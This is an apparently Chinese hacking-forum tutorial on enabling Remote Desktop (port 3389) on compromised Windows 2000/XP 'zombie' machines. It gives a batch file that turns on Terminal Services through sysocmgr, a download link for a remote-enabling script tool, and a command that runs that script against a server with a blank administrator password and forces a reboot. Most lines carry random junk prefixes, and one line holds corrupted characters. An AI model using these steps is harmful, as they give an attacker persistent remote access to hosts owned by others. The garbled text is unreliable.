[hide=60] 1.打开记事本,编辑内容如下:
1F|+4 echo [Components] > c:\sql
|.A>0-']M echo TSEnable = on >> c:\sql
85mQHZ8aR sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
y(k2p 编辑好后存为BAT文件,上传至肉鸡,执行。这里值得注意的是要确定winnt是否在c盘,如果在其他盘则需要改动。
:y)'qv[ (Wn'.|^% 2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05
]O."M"B 地址:
www.netsill.com/rots.zip ZE^de(Fm 使用方法:
x-<dJ}` 在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如:
0CROq} )zN
)7 c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]
MYDSkW 8~i@7~
J 服务端口: 设置终端服务的服务端口。默认是3389。
^4"_I 自动重起选项: 使用/r表示安装完成后自动重起目标使设置生效。
N5\<w> 使用/fr表示强制重起目标。(如果/r不行,可以允哉飧觯?BR>使用此参数时,端口设置不能忽略。
5IMH G%W7 比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空
nCrNZ&P 运行CMD(2000下的DOS),我们给它开终端!
[H6>] & 命令如下!
J:5n/m^A cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr
5+UiAc$ 上面的命令应该可以理解吧?cscript reg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222 这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以 /r,这是普通重启)
Ij+zR>P8=\ TO.NCO\x 脚本会判断目标系统类型,如果不是server及以上版本,就会提示你是否要取消。
fh~&&f